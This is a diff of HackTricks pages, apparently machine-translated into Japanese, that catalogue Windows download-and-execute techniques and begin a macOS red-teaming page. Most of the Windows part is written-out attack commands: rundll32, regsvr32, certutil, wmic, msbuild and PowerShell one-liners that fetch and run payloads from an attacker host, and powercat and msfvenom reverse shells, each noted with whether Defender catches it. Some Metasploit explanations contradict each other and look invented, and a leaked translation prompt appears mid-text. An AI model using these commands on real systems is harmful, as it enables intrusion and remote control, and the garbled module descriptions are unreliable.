このエクスプロイトが機能するには、ターゲットシステムにはInternet Explorerがインストールされている必要があります。さらに、ターゲットシステムのセキュリティ設定がエクスプロイトの成功に影響する可能性があります。
|
||||
It is important to note that using this technique may trigger antivirus alerts, as it is a known attack vector. Therefore, it is recommended to use this method in controlled environments or with proper authorization during penetration testing engagements.
|
||||
```bash
|
||||
use exploit/windows/misc/hta_server
|
||||
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
|
||||
|
@ -423,7 +322,7 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
|||
```bash
|
||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
|
||||
```
|
||||
ネットワーク呼び出しを実行しているプロセス:**rundll32.exe**\
|
||||
ネットワーク呼び出しを実行するプロセス:**rundll32.exe**\
|
||||
ディスク上に書き込まれたペイロード:**IEローカルキャッシュ**
|
||||
|
||||
**Defenderによって検出されました**
|
||||
|
@ -447,31 +346,41 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
|
||||
#### **Rundll32 - Metasploit**
|
||||
|
||||
Rundll32 is a Windows utility that allows the execution of DLL files as if they were executable files. This can be leveraged by an attacker to execute malicious code on a target system.
|
||||
Rundll32 is a Windows utility that allows the execution of DLL (Dynamic Link Library) functions. Metasploit, a popular penetration testing framework, provides a module called `windows/local/execute` that leverages the Rundll32 utility to execute malicious DLLs.
|
||||
|
||||
Metasploit, a popular penetration testing framework, provides a module called "windows/local/execute" that can be used to execute arbitrary commands on a target system using rundll32.
|
||||
To use this module, you need to provide the path to the malicious DLL file using the `DLL` option. Additionally, you can specify the function name to be executed using the `FUNCTION` option. If no function name is provided, the module will execute the `DllMain` function by default.
|
||||
|
||||
To use this module, you need to set the following options:
|
||||
|
||||
- `SESSION`: The session number of the target system.
|
||||
- `CMD`: The command to be executed.
|
||||
|
||||
Once the options are set, you can run the module using the `exploit` command.
|
||||
|
||||
Here is an example of how to use the "windows/local/execute" module in Metasploit to execute a command using rundll32:
|
||||
Here is an example of how to use the `windows/local/execute` module in Metasploit:
|
||||
|
||||
```
|
||||
use windows/local/execute
|
||||
set SESSION <session_number>
|
||||
set CMD <command_to_execute>
|
||||
exploit
|
||||
set DLL /path/to/malicious.dll
|
||||
set FUNCTION FunctionName
|
||||
run
|
||||
```
|
||||
|
||||
After running the module, the specified command will be executed on the target system using rundll32.
|
||||
Once executed, the module will load the specified DLL and execute the specified function. This technique can be useful for bypassing security measures and executing arbitrary code on a target system.
|
||||
|
||||
It is important to note that the target system must have the necessary DLL file for the command to be executed. Additionally, the user running rundll32 must have the appropriate permissions to execute the command.
|
||||
It is important to note that the Rundll32 utility is commonly used by legitimate Windows processes, so its usage may not raise suspicion. However, it is crucial to ensure that the DLL being executed is malicious and not a legitimate system file.
|
||||
|
||||
This technique can be useful for post-exploitation activities, such as executing additional commands or downloading and executing files on the target system.
|
||||
#### **Rundll32 - Metasploit**
|
||||
|
||||
Rundll32は、DLL(Dynamic Link Library)関数の実行を可能にするWindowsユーティリティです。人気のあるペネトレーションテストフレームワークであるMetasploitは、`windows/local/execute`というモジュールを提供しており、Rundll32ユーティリティを利用して悪意のあるDLLを実行することができます。
|
||||
|
||||
このモジュールを使用するには、`DLL`オプションを使用して悪意のあるDLLファイルのパスを指定する必要があります。さらに、`FUNCTION`オプションを使用して実行する関数名を指定することもできます。関数名が指定されていない場合、モジュールはデフォルトで`DllMain`関数を実行します。
|
||||
|
||||
以下は、Metasploitで`windows/local/execute`モジュールを使用する例です。
|
||||
|
||||
```
|
||||
use windows/local/execute
|
||||
set DLL /path/to/malicious.dll
|
||||
set FUNCTION 関数名
|
||||
run
|
||||
```
|
||||
|
||||
実行すると、モジュールは指定されたDLLをロードし、指定された関数を実行します。この技術は、セキュリティ対策を回避し、ターゲットシステムで任意のコードを実行するために役立ちます。
|
||||
|
||||
Rundll32ユーティリティは、合法的なWindowsプロセスによって一般的に使用されるため、使用しても疑いをかけられない場合があります。ただし、実行されるDLLが悪意のあるものであり、合法的なシステムファイルではないことを確認することが重要です。
|
||||
```bash
|
||||
use windows/smb/smb_delivery
|
||||
run
|
||||
|
@ -479,15 +388,21 @@ run
|
|||
```
|
||||
**Rundll32 - Koadic**
|
||||
|
||||
Rundll32 is a Windows utility that allows the execution of DLL files as functions. This can be leveraged by attackers to load malicious DLLs and execute their code. One popular tool that utilizes Rundll32 for post-exploitation is Koadic.
|
||||
Rundll32 is a Windows utility that allows the execution of DLL files. Koadic is a post-exploitation tool that uses the Rundll32 utility to load a malicious DLL file and execute commands on a compromised system.
|
||||
|
||||
Koadic is a post-exploitation RAT (Remote Access Tool) that provides a command-and-control interface to interact with compromised systems. It uses Rundll32 to load its DLL payload and establish a backdoor on the target machine.
|
||||
To use Koadic, first, you need to generate a malicious DLL file using the Koadic framework. This DLL file contains the payload that will be executed on the target system. Once the DLL file is generated, it can be loaded using the Rundll32 utility.
|
||||
|
||||
To use Koadic, the attacker first needs to generate a malicious DLL payload using the Koadic framework. This payload is then loaded using Rundll32, which executes the code contained within the DLL. Once the payload is executed, the attacker gains remote access to the compromised system and can perform various actions, such as executing commands, capturing screenshots, and exfiltrating data.
|
||||
To load the DLL file, open a command prompt and run the following command:
|
||||
|
||||
Koadic provides a range of features that make it a powerful tool for post-exploitation activities. It supports multiple communication channels, including HTTP, HTTPS, and DNS, allowing the attacker to bypass network restrictions. It also has built-in modules for privilege escalation, lateral movement, and persistence, enabling the attacker to escalate privileges, move laterally within the network, and maintain access to the compromised system.
|
||||
```
|
||||
rundll32.exe <path_to_malicious_dll>,<entry_point>
|
||||
```
|
||||
|
||||
It is important for defenders to be aware of the use of Rundll32 and tools like Koadic in post-exploitation scenarios. Monitoring for suspicious DLL loading activity and implementing strong security measures can help mitigate the risk of such attacks.
|
||||
Replace `<path_to_malicious_dll>` with the path to the generated DLL file and `<entry_point>` with the entry point function name defined in the DLL file.
|
||||
|
||||
Once the DLL file is loaded, Koadic establishes a communication channel with the compromised system, allowing the attacker to execute various commands and perform post-exploitation activities.
|
||||
|
||||
It is important to note that the use of Rundll32 and Koadic for malicious purposes is illegal and unethical. This information is provided for educational purposes only to raise awareness about potential security risks.
|
||||
```bash
|
||||
use stager/js/rundll32_js
|
||||
set SRVHOST 192.168.1.107
|
||||
|
@ -498,39 +413,20 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject(
|
|||
```
|
||||
## Regsvr32
|
||||
|
||||
Regsvr32は、Windowsシステムで使用されるコマンドラインツールです。主にDLLファイルを登録および登録解除するために使用されます。このツールは、Windowsのレジストリにエントリを追加することで、DLLファイルをシステムに統合します。
|
||||
Regsvr32は、Windowsシステムで使用されるコマンドラインツールです。主に、DLL(ダイナミックリンクライブラリ)ファイルを登録および解除するために使用されます。このツールは、WindowsのレジストリにDLLファイルのエントリを追加または削除することにより、プログラムの機能を拡張または制限することができます。
|
||||
|
||||
### 使用法
|
||||
Regsvr32コマンドは、次のようなシンタックスを持ちます。
|
||||
|
||||
Regsvr32を使用するには、次のコマンドを実行します。
|
||||
|
||||
```bash
|
||||
regsvr32 <DLLファイルのパス>
|
||||
```
|
||||
regsvr32 [/u] [/s] <DLLファイルのパス>
|
||||
```
|
||||
|
||||
### 登録
|
||||
- `/u`オプションは、DLLファイルの登録を解除するために使用されます。
|
||||
- `/s`オプションは、Regsvr32の実行時にダイアログボックスを表示しないようにします。
|
||||
|
||||
DLLファイルを登録するには、次のコマンドを実行します。
|
||||
Regsvr32を使用すると、悪意のあるユーザーはシステムに悪影響を与えることができます。たとえば、悪意のあるDLLファイルを登録することにより、システムの制御を乗っ取ることができます。このような攻撃を防ぐためには、信頼できるソースからのみDLLファイルを登録するようにしてください。また、セキュリティソフトウェアを使用して、悪意のあるファイルの検出と防止を行うことも重要です。
|
||||
|
||||
```bash
|
||||
regsvr32 <DLLファイルのパス>
|
||||
```
|
||||
|
||||
### 登録解除
|
||||
|
||||
DLLファイルの登録を解除するには、次のコマンドを実行します。
|
||||
|
||||
```bash
|
||||
regsvr32 /u <DLLファイルのパス>
|
||||
```
|
||||
|
||||
### 注意事項
|
||||
|
||||
- Regsvr32を実行する際は、管理者権限が必要です。
|
||||
- 正しいパスを指定することが重要です。誤ったDLLファイルを登録すると、システムに問題が発生する可能性があります。
|
||||
- Regsvr32は、悪意のあるコードを実行するためにも使用されることがあります。不正なDLLファイルを登録することによるセキュリティリスクに注意してください。
|
||||
|
||||
詳細な情報については、[公式ドキュメント](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32)を参照してください。
|
||||
Regsvr32は、システム管理者やセキュリティ専門家にとって重要なツールです。正当な目的で使用される場合には非常に便利ですが、悪用される可能性もあるため、慎重に使用する必要があります。
|
||||
```bash
|
||||
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
||||
```
|
||||
|
@ -539,7 +435,7 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
|||
```
|
||||
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
||||
```
|
||||
ネットワーク呼び出しを実行しているプロセス:**svchost.exe**\
|
||||
ネットワーク呼び出しを実行するプロセス:**svchost.exe**\
|
||||
ディスク上に書き込まれたペイロード:**WebDAVクライアントのローカルキャッシュ**
|
||||
|
||||
**Defenderによって検出されました**
|
||||
|
@ -563,23 +459,21 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
```
|
||||
#### **Regsvr32 - Metasploit**
|
||||
|
||||
#### **Regsvr32 - Metasploit**
|
||||
Regsvr32 is a Windows command-line utility used to register and unregister DLL files. However, it can also be used as a technique for executing malicious code on a target system.
|
||||
|
||||
Regsvr32 is a Windows command-line utility used to register and unregister DLLs (Dynamic Link Libraries) and ActiveX controls in the Windows Registry. This utility can also be used to execute arbitrary code on a target system.
|
||||
|
||||
Metasploit, a popular penetration testing framework, provides a module called `regsvr32_command_delivery` that leverages the regsvr32 utility to execute malicious code on a target system.
|
||||
Metasploit, a popular penetration testing framework, provides a module called `regsvr32_command_delivery` that leverages this technique to deliver a payload to a target system.
|
||||
|
||||
To use this module, follow these steps:
|
||||
|
||||
1. Start Metasploit by running the `msfconsole` command.
|
||||
2. Search for the `regsvr32_command_delivery` module using the `search` command.
|
||||
3. Load the module using the `use` command followed by the module name.
|
||||
4. Set the required options, such as the `RHOSTS` (target IP address) and `CMD` (command to execute).
|
||||
5. Run the module using the `exploit` command.
|
||||
4. Set the required options, such as the `LHOST` (your IP address) and `LPORT` (the port to listen on).
|
||||
5. Run the `exploit` command to execute the payload.
|
||||
|
||||
Once the module is executed successfully, the specified command will be executed on the target system.
|
||||
Once the payload is executed on the target system, the attacker gains control over the system and can perform various actions, such as accessing files, capturing keystrokes, or launching further attacks.
|
||||
|
||||
It is important to note that the regsvr32 utility may trigger antivirus alerts, so additional evasion techniques may be necessary to bypass detection.
|
||||
It is important to note that the Regsvr32 technique may trigger antivirus alerts, as it is a known method used by attackers. Therefore, it is crucial to use this technique responsibly and only in controlled environments with proper authorization.
|
||||
```bash
|
||||
use multi/script/web_delivery
|
||||
set target 3
|
||||
|
@ -588,7 +482,7 @@ set lhost 10.2.0.5
|
|||
run
|
||||
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
|
||||
```
|
||||
**非常に簡単にKoadicゾンビをダウンロードして実行できます。ステージャーregsvrを使用します**
|
||||
**Koadicゾンビを非常に簡単にダウンロードして実行することができます。ステージャーregsvrを使用します**
|
||||
|
||||
## Certutil
|
||||
|
||||
|
@ -602,7 +496,7 @@ certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil
|
|||
```
|
||||
**Defenderによって検出されました**
|
||||
|
||||
***
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -610,7 +504,7 @@ certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil
|
|||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
|
||||
🔔 新しいバグ報奨金について通知を受ける
|
||||
🔔 新しいバグ報酬について通知を受ける
|
||||
|
||||
💬 コミュニティのディスカッションに参加する
|
||||
|
||||
|
@ -620,25 +514,20 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0
|
|||
```
|
||||
**Cscript - Metasploit**
|
||||
|
||||
Cscript is a command-line scripting engine provided by Microsoft. It is commonly used to execute VBScript or JScript scripts on Windows systems. Metasploit, on the other hand, is a popular penetration testing framework that includes various tools and exploits for testing the security of computer systems.
|
||||
Cscript is a command-line scripting engine provided by Microsoft. It is commonly used for running VBScript or JScript scripts on Windows systems. Metasploit, on the other hand, is a popular penetration testing framework that includes various tools and exploits for testing the security of computer systems.
|
||||
|
||||
In the context of Metasploit, Cscript can be used as a payload to deliver malicious scripts to a target system. This can be done by creating a malicious script using Metasploit's scripting capabilities and then using Cscript to execute it on the target.
|
||||
When it comes to using Cscript with Metasploit, it can be utilized to execute malicious scripts or payloads on a target Windows machine. This can be done by creating a script that contains the desired payload and then using the `cscript` command to execute it.
|
||||
|
||||
To use Cscript as a payload in Metasploit, you can follow these steps:
|
||||
To use Cscript with Metasploit, follow these steps:
|
||||
|
||||
1. Generate a malicious script using Metasploit's scripting capabilities. This can be done using the `msfvenom` command, which allows you to generate various types of payloads.
|
||||
1. Generate a malicious script or payload using Metasploit's payload generator.
|
||||
2. Save the generated script as a .vbs or .js file.
|
||||
3. Transfer the script to the target Windows machine.
|
||||
4. Open a command prompt on the target machine.
|
||||
5. Navigate to the directory where the script is located.
|
||||
6. Execute the script using the `cscript` command followed by the script's filename.
|
||||
|
||||
2. Set the payload to use Cscript. This can be done by specifying the `windows/cscript` payload in Metasploit.
|
||||
|
||||
3. Configure the necessary options for the payload, such as the target IP address and port.
|
||||
|
||||
4. Exploit the target system by running the exploit command.
|
||||
|
||||
Once the exploit is successful, the malicious script will be executed on the target system using Cscript. This can allow you to perform various actions on the target, such as gaining remote access or executing commands.
|
||||
|
||||
It is important to note that using Cscript as a payload can be detected by antivirus software, as it involves executing scripts on the target system. Therefore, it is recommended to use evasion techniques or modify the payload to bypass antivirus detection.
|
||||
|
||||
For more information on using Cscript as a payload in Metasploit, you can refer to the Metasploit documentation or online resources.
|
||||
By leveraging Cscript and Metasploit together, hackers can exploit vulnerabilities in Windows systems and gain unauthorized access or control over the target machine. It is important to note that using these techniques for unauthorized purposes is illegal and unethical.
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
|
||||
```
|
||||
|
@ -677,7 +566,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
|||
```
|
||||
wmic os get /format:"https://webserver/payload.xsl"
|
||||
```
|
||||
ネットワークコールを実行するプロセス:**wmic.exe**\
|
||||
ネットワーク呼び出しを実行するプロセス:**wmic.exe**\
|
||||
ディスク上に書き込まれたペイロード:**IEローカルキャッシュ**
|
||||
|
||||
例:xslファイル:
|
||||
|
@ -696,14 +585,14 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
|
||||
**検出されない**
|
||||
|
||||
**stager wmicを使用して、非常に簡単にKoadicゾンビをダウンロードして実行できます**
|
||||
**ステージャーwmicを使用して、非常に簡単にKoadicゾンビをダウンロードして実行できます**
|
||||
|
||||
## Msbuild
|
||||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
ネットワーク呼び出しを実行するプロセス: **svchost.exe**\
|
||||
ディスク上に書き込まれたペイロード: **WebDAVクライアントのローカルキャッシュ**
|
||||
ディスク上に書き込まれるペイロード: **WebDAVクライアントのローカルキャッシュ**
|
||||
|
||||
この技術を使用すると、アプリケーションホワイトリストとPowershell.exeの制限を回避できます。PSシェルが表示されるため、次のコードをダウンロードして実行してください: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
|
@ -717,7 +606,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
|||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
次の場所から基本的なC#リバースシェルをダウンロードできます:[https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
ここから基本的なC#リバースシェルをダウンロードできます:[https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**検出されません**
|
||||
|
||||
|
@ -728,7 +617,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\fol
|
|||
ネットワークコールを実行するプロセス:**svchost.exe**\
|
||||
ディスク上に書き込まれたペイロード:**WebDAVクライアントのローカルキャッシュ**
|
||||
|
||||
**試したことはありません**
|
||||
**試していません**
|
||||
|
||||
[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)
|
||||
|
||||
|
@ -736,8 +625,8 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\fol
|
|||
```
|
||||
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||
```
|
||||
ネットワークコールを実行するプロセス: **svchost.exe**\
|
||||
ディスク上に書き込まれたペイロード: **WebDAVクライアントのローカルキャッシュ**
|
||||
ネットワークコールを実行するプロセス:**svchost.exe**\
|
||||
ディスク上に書き込まれるペイロード:**WebDAVクライアントのローカルキャッシュ**
|
||||
|
||||
**試していません**
|
||||
|
||||
|
@ -749,11 +638,11 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
|||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
**Shells**フォルダには、さまざまなシェルがあります。**Invoke-_PowerShellTcp.ps1_**をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加してください:
|
||||
**Shells**フォルダには、さまざまなシェルがあります。**Invoke-_PowerShellTcp.ps1_**をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加してください:
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
犠牲者の端末でスクリプトを実行するために、ウェブサーバーでスクリプトを提供し始めます。
|
||||
被害者の端末でスクリプトを実行するために、ウェブサーバーでスクリプトを提供し始めます。
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
|
@ -769,9 +658,9 @@ Defenderはそれを悪意のあるコードとして検出しません(まだ
|
|||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
Defenderはそれを悪意のあるコードとして検出しません(まだ、2019年3月4日)。
|
||||
Defenderはそれを悪意のあるコードとして検出しません(まだ、2019年3月4日現在)。
|
||||
|
||||
**powercatが提供する他のオプション:**
|
||||
**powercatによって提供される他のオプション:**
|
||||
|
||||
バインドシェル、リバースシェル(TCP、UDP、DNS)、ポートリダイレクト、アップロード/ダウンロード、ペイロードの生成、ファイルの提供...
|
||||
```
|
||||
|
@ -814,28 +703,30 @@ python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
|||
msfconsole -r <resource_file>
|
||||
```
|
||||
|
||||
`<resource_file>`には作成したリソースファイルのパスを指定します。
|
||||
`<resource_file>`には、作成したリソースファイルのパスを指定します。
|
||||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
以下は、ハッキング手法に関する本の内容です。以下の内容は、/hive/hacktricks/generic-methodologies-and-resources/shells/windows.mdファイルからのものです。関連する英文を日本語に翻訳し、翻訳を保持して同じマークダウンとHTMLの構文を返してください。コード、ハッキング手法の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の内容は追加しないでください。
|
||||
以下は、ハッキング手法に関する本の内容です。以下の内容は、generic-methodologies-and-resources/shells/windows.md ファイルからのものです。
|
||||
|
||||
```markdown
|
||||
Start a web server serving the _powershell\_attack.txt_ file and execute in the victim:
|
||||
```shell
|
||||
python -m SimpleHTTPServer 80
|
||||
```
|
||||
|
||||
```html
|
||||
<p>被害者で_webサーバー_を起動し、_powershell\_attack.txt_ファイルを提供して実行します。</p>
|
||||
```powershell
|
||||
IEX (New-Object Net.WebClient).DownloadString('http://<attacker_ip>/powershell_attack.txt')
|
||||
```
|
||||
|
||||
このコマンドを実行すると、攻撃者のIPアドレスから_powershell\_attack.txt_ファイルをダウンロードし、被害者のシステムで実行します。
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
**悪意のあるコードとして検出されました**
|
||||
**悪意のあるコードが検出されました**
|
||||
|
||||
## 詳細
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack)は、いくつかの攻撃的なPSモジュールが事前にロードされたPSコンソールです(暗号化済み)\
|
||||
[WinPWN](https://github.com/SecureThisShit/WinPwn)は、いくつかの攻撃的なPSモジュールとプロキシ検出が組み込まれたPSコンソールです(IEX)
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) - いくつかの攻撃的なPSモジュールが事前にロードされたPSコンソール(暗号化済み)\
|
||||
[WinPWN](https://github.com/SecureThisShit/WinPwn) - いくつかの攻撃的なPSモジュールとプロキシ検出が組み込まれたPSコンソール(IEX)
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -850,7 +741,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **- web3のバグについてもっと学ぶ**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
|
||||
|
@ -862,10 +753,10 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,14 +1,14 @@
|
|||
# macOS Red Teaming
|
||||
# macOS レッドチーミング
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* サイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* ハッキングのトリックを共有するために、PRを提出してください[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)。
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -17,7 +17,7 @@
|
|||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
管理プラットフォームにアクセスするために**管理者の資格情報を侵害**することができれば、マシンにマルウェアを配布することで、**すべてのコンピュータを潜在的に侵害**することができます。
|
||||
管理プラットフォームへのアクセスのために**管理者の資格情報を侵害**することができれば、マシンにマルウェアを配布することで、**すべてのコンピュータを潜在的に侵害**することができます。
|
||||
|
||||
MacOS環境でのレッドチーミングには、MDMの動作原理についての理解が非常に重要です:
|
||||
|
||||
|
@ -27,11 +27,11 @@ MacOS環境でのレッドチーミングには、MDMの動作原理について
|
|||
|
||||
### MDMをC2として乱用する
|
||||
|
||||
MDMは、プロファイルのインストール、クエリ、削除、アプリケーションのインストール、ローカル管理者アカウントの作成、ファームウェアパスワードの設定、FileVaultキーの変更などの権限を持っています。
|
||||
MDMは、プロファイルのインストール、クエリ、削除、アプリケーションのインストール、ローカル管理者アカウントの作成、ファームウェアパスワードの設定、FileVaultキーの変更などの権限を持っています...
|
||||
|
||||
独自のMDMを実行するには、[**https://mdmcert.download/**](https://mdmcert.download/)で取得しようとすることができる**ベンダーによって署名されたCSR**が必要です。また、Appleデバイス用の独自のMDMを実行するには、[**MicroMDM**](https://github.com/micromdm/micromdm)を使用することができます。
|
||||
|
||||
